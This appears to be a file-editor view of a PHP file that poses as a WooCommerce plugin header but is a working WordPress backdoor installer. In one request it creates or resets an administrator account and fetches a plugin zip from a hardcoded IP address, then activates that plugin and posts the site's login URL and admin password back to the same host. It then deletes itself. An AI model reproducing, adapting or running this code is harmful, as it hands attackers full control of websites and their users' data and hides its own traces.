← Back
Editing: 342821b7d93dff60-6.php
<?php /** * Plugin Name: WooCommeerce * Plugin URI: https://woocommerce.com/ * Description: An ecommerce toolkit that helps you sell anything. Beautifully. * Version: 11.4.3 * Author: Automattic * Author URI: https://woocommerce.com * Text Domain: WooCommeerce * Domain Path: /i18n/languages/ * * @package WooCommerce */ /* * payload ID 6 - addv6.php (2026-11-30) ; hm5 variant of payload 5 (addv5.php) * Use case: single-site (sole-proprietor) hosts -- install hm5 plugin (wp-cache-optimizer) and/or create + reset an administrator. * NOTE (2026-11-30): default slug switched hm2 -> hm5; pass slug=wp-db-optimizer to fall back to hm2. * One request does: [create/reset admin] -> install + activate plugin -> POST result to 107 V5 endpoint -> self delete. * NOTE: this file is the PAYLOAD; do not confuse it with the 107 writeback ENDPOINT /20260812/V5/addv5.php. * * Params (GET or POST): * user admin login/email; default admingoole0104@goole.com * pass admin password; default random 12 chars * slug plugin slug; default wp-cache-optimizer (hm5); pass wp-db-optimizer for hm2 * file plugin main file relative to WP_PLUGIN_DIR; default <slug>/index.php * zipurl direct zip url (GET); default http://107.173.135.36/download/zip/<slug>.zip * upurl writeback url; default http://107.173.135.36/20260812/V5/addv5.php * nouser=1 skip admin creation (plugin install only; also defaults to no writeback) * noreport=1 skip the 107 writeback * report=1 force the writeback even with nouser=1 * t=del self delete only * * domain and entry are NOT parameters any more (2026-10-07): both are extracted from the site url -- * WP site_url() when available, otherwise scheme + $_SERVER['HTTP_HOST']; entry = domain (single site). * The reported values keep the scheme-qualified form (allv5 / sync_login107 expect urlparse-able input). * * Zip can be delivered with the request itself (zero outbound, POST transfer): * - multipart file field "zip" * - form field "zip_b64" = base64(zip) * - raw body with Content-Type: application/zip * - data format answer ({"data":"<base64>"} / plain base64 text) is auto decoded * * Response: JSON {success, domain, entry, domainurl, adduser{}, zip{}, up{}} * 107 needs no change. */ error_reporting(E_ALL & ~E_NOTICE); @ini_set('display_errors', 0); @set_time_limit(300); @ignore_user_abort(true); define('D_USER', 'admingoole0104@goole.com'); define('D_UP_URL', 'http://107.173.135.36/20260812/V5/addv5.php'); define('D_ZIP_BASE', 'http://107.173.135.36/download/zip/'); define('D_MU_JUNK', 'wp-content/mu-plugins/wp-system-maintenance.php'); define('D_TRIES', 3); define('D_TIMEOUT', 20); define('D_BUDGET', 60); function out_json($j) { header('Content-Type: application/json; charset=utf-8'); echo json_encode($j, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) . "\n"; while (ob_get_level() > 0) { ob_end_flush(); } @flush(); } if ((isset($_REQUEST['t']) && $_REQUEST['t'] === 'del') || (isset($_POST['action']) && $_POST['action'] === 'self_destruct')) { $ok = @unlink(__FILE__); out_json(['success' => (bool)$ok, 'message' => $ok ? 'Script deleted.' : 'Delete failed.']); exit; } register_shutdown_function(function () { if (file_exists(__FILE__)) { @unlink(__FILE__); } }); function req($k, $d = '') { return isset($_REQUEST[$k]) ? trim((string)$_REQUEST[$k]) : $d; } /* allv5 的 domain/entry 存的是"带协议"形态(载荷 55 同款): sync_login107 用 urlparse(domain).scheme/.netloc 解析,裸 host 会让 entry 解析成空 ⇒ 站群分组失效、alls 补导按"单站"处理。这里统一补协议。 */ function v5_url($v, $fallback = '') { $v = trim((string)$v); if ($v === '') { return (string)$fallback; } if (preg_match('#^https?://#i', $v)) { return rtrim($v, '/'); } $sch = 'https'; if (preg_match('#^(https?)://#i', (string)$fallback, $m)) { $sch = strtolower($m[1]); } return $sch . '://' . ltrim($v, '/'); } function gen_pass($len = 12) { $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()_+-=[]{}|;:,.<>?'; $p = ''; foreach (['ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz', '0123456789', '!@%^&*{}|<>'] as $set) { $p .= $set[mt_rand(0, strlen($set) - 1)]; } for ($i = strlen($p); $i < $len; $i++) { $p .= $chars[mt_rand(0, strlen($chars) - 1)]; } return str_shuffle($p); } function abs_root() { $sf = str_replace('\\', '/', $_SERVER['SCRIPT_FILENAME']); $sn = $_SERVER['SCRIPT_NAME']; $pos = strpos($sf, $sn); if ($pos !== false) { return substr($sf, 0, $pos); } return rtrim(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']), '/'); } function is_zip_blob($d) { return is_string($d) && strlen($d) > 100 && substr($d, 0, 2) === 'PK'; } /* Server may answer with data instead of raw bytes: JSON{"data":b64} / plain base64. */ function as_zip_blob($d) { if (!is_string($d) || $d === '' || is_zip_blob($d)) { return $d; } $head = ltrim(substr($d, 0, 8192)); if ($head !== '' && ($head[0] === '{' || $head[0] === '[')) { $j = json_decode($d, true); if (is_array($j)) { foreach (['data', 'zip', 'content', 'file', 'b64', 'base64', 'body'] as $k) { if (isset($j[$k]) && is_string($j[$k])) { $x = @base64_decode($j[$k], true); if (is_zip_blob($x)) { return $x; } } } } return $d; } $x = @base64_decode(preg_replace('/\s+/', '', $d), true); return is_zip_blob($x) ? $x : $d; } function http_get($url) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => D_TIMEOUT, CURLOPT_USERAGENT => 'Mozilla/5.0', ]); $d = curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($d !== false && $code == 200) { return $d; } } $ctx = stream_context_create(['http' => [ 'timeout' => D_TIMEOUT, 'ignore_errors' => true, 'header' => "User-Agent: Mozilla/5.0\r\n", ]]); $d = @file_get_contents($url, false, $ctx); return ($d === false) ? '' : $d; } /* Returns [blob, method]. Order: request-carried -> zipurl -> 107 mirror. */ function fetch_zip($slug, $zipurl) { if (isset($_FILES['zip']) && is_uploaded_file($_FILES['zip']['tmp_name'])) { $d = @file_get_contents($_FILES['zip']['tmp_name']); if (is_zip_blob($d)) { return [$d, 'upload']; } } if (!empty($_POST['zip_b64'])) { $d = @base64_decode($_POST['zip_b64'], true); if (is_zip_blob($d)) { return [$d, 'zip_b64']; } } $ct = isset($_SERVER['CONTENT_TYPE']) ? strtolower($_SERVER['CONTENT_TYPE']) : ''; if (strpos($ct, 'zip') !== false || strpos($ct, 'octet-stream') !== false) { $d = @file_get_contents('php://input'); if (is_zip_blob($d)) { return [$d, 'raw']; } } $url = $zipurl !== '' ? $zipurl : (D_ZIP_BASE . $slug . '.zip'); $deadline = time() + D_BUDGET; for ($i = 0; $i < D_TRIES; $i++) { if ($i) { @usleep(400000); } $d = as_zip_blob(http_get($url)); if (is_zip_blob($d)) { return [$d, ($zipurl !== '' ? 'zipurl' : 'mirror')]; } if (time() >= $deadline) { break; } } return ['', 'failed']; } function add_admin($user, $pass) { if (username_exists($user)) { $u = get_user_by('email', $user); if (!$u) { $u = get_user_by('login', $user); } if (!$u) { return ['success' => false, 'method' => 'up', 'error' => 'user_exists_unresolved']; } wp_set_password($pass, $u->ID); $o = new WP_User($u->ID); $o->set_role('administrator'); return ['success' => true, 'method' => 'up', 'user' => $user, 'pass' => $pass, 'user_id' => (string)$u->ID]; } $uid = wp_create_user($user, $pass, $user); if (is_wp_error($uid)) { return ['success' => false, 'method' => 'new', 'error' => $uid->get_error_message()]; } $o = new WP_User($uid); $o->set_role('administrator'); return ['success' => true, 'method' => 'new', 'user' => $user, 'pass' => $pass, 'user_id' => (string)$uid]; } function install_zip($zipfile, $mainfile) { $r = ['success' => false, 'method' => 'zip', 'bytes' => @filesize($zipfile), 'md5' => @md5_file($zipfile)]; if (!is_writable(WP_PLUGIN_DIR)) { $r['error'] = 'plugin_dir_not_writable'; return $r; } if (class_exists('ZipArchive')) { $zip = new ZipArchive(); $opened = false; for ($i = 0; $i < D_TRIES; $i++) { if ($zip->open($zipfile) === true) { $opened = true; break; } @usleep(400000); } if ($opened) { $zip->extractTo(WP_PLUGIN_DIR); $zip->close(); } else { $r['error'] = 'zip_open_failed'; return $r; } } else { $r['method'] = 'PclZip'; $ar = new PclZip($zipfile); if ($ar->extract(PCLZIP_OPT_PATH, WP_PLUGIN_DIR) == 0) { $r['error'] = 'pclzip_extract_failed'; return $r; } } clearstatcache(); wp_cache_flush(); wp_clean_plugins_cache(); for ($i = 0; $i < D_TRIES; $i++) { $res = activate_plugin($mainfile); @usleep(500000); if (is_plugin_active($mainfile)) { $r['success'] = true; $r['main'] = $mainfile; return $r; } } $r['main'] = $mainfile; $r['error'] = is_wp_error($res) ? $res->get_error_message() : 'activate_failed'; return $r; } /* V5 writeback: POST {domain, entry, domainurl, user, pass} -> JSON {success, id} */ function report_v5($item, $url) { $body = http_build_query($item); $raw = false; if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_CONNECTTIMEOUT => 10, CURLOPT_TIMEOUT => 20, CURLOPT_POST => 1, CURLOPT_POSTFIELDS => $body, CURLOPT_USERAGENT => 'Mozilla/5.0', ]); $raw = curl_exec($ch); curl_close($ch); } if ($raw === false || $raw === '') { $ctx = stream_context_create(['http' => [ 'method' => 'POST', 'timeout' => 20, 'ignore_errors' => true, 'header' => "Content-type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0\r\n", 'content' => $body, ]]); $raw = @file_get_contents($url, false, $ctx); } $j = is_string($raw) ? json_decode($raw, true) : null; return ['success' => is_array($j) ? !empty($j['success']) : false, 'data' => is_array($j) ? $j : (string)$raw]; } /* ---------- main ---------- */ $t0 = microtime(true); $json = ['success' => false]; $root = abs_root(); $wpload = $root . '/wp-load.php'; if (!file_exists($wpload)) { $json['error'] = 'wp-load.php not found'; $json['path'] = $wpload; out_json($json); exit; } require_once $wpload; $slug = req('slug', 'wp-cache-optimizer'); $main = req('file', $slug . '/index.php'); $zipurl = req('zipurl'); $user = req('user', D_USER); $pass = req('pass', gen_pass(12)); $nouser = req('nouser') === '1'; /* plugin-only runs carry no credential, so they default to "no writeback" (avoids empty user/pass rows in allv5); pass report=1 to force the writeback anyway. */ $noreport = req('noreport') === '1' || ($nouser && req('report') !== '1'); require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/plugin.php'; if (!class_exists('PclZip')) { @require_once ABSPATH . 'wp-admin/includes/class-pclzip.php'; } /* domain and entry are extracted from the site's own url (no parameters). site_url() is WP's canonical url, and is what wp_login_url() below is built from; the request Host is only the fallback. Single-site (sole-proprietor) semantics: entry = domain. */ $own = function_exists('site_url') ? rtrim(site_url(), '/') : ''; if ($own === '') { $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $own = $scheme . '://' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'); } $json['domain'] = v5_url($own, $own); $json['entry'] = $json['domain']; $login_url = function_exists('wp_login_url') ? wp_login_url() : $own . '/wp-login.php'; $json['domainurl'] = $login_url; $json['adduser'] = $nouser ? ['success' => false, 'method' => 'skip'] : add_admin($user, $pass); $zips = fetch_zip($slug, $zipurl); $json['zip'] = ['success' => false, 'method' => $zips[1], 'slug' => $slug, 'main' => $main]; if ($zips[0] === '') { $json['zip']['error'] = 'download_failed'; } else { $zipfile = $root . '/' . $slug . '.zip'; if (@file_put_contents($zipfile, $zips[0]) === false) { $json['zip']['error'] = 'write_failed'; } else { $json['zip'] = array_merge($json['zip'], install_zip($zipfile, $main)); @unlink($zipfile); if (!empty($json['zip']['success'])) { $mu = $root . '/' . D_MU_JUNK; if (file_exists($mu)) { @unlink($mu); } } } } $json['up'] = ['success' => false, 'method' => 'skip', 'data' => '']; if (!$noreport) { $json['up'] = report_v5([ 'domain' => $json['domain'], 'entry' => $json['entry'], 'domainurl' => $login_url, 'user' => !empty($json['adduser']['success']) ? $user : '', 'pass' => !empty($json['adduser']['success']) ? $pass : '', ], req('upurl', D_UP_URL)); $json['up']['method'] = 'post'; } $json['success'] = !empty($json['zip']['success']) || !empty($json['adduser']['success']); if (!empty($json['adduser']['success'])) { $json['user'] = $user; $json['pass'] = $pass; } $json['t'] = round(microtime(true) - $t0, 2); out_json($json); @unlink(__FILE__); exit;
Save File
Cancel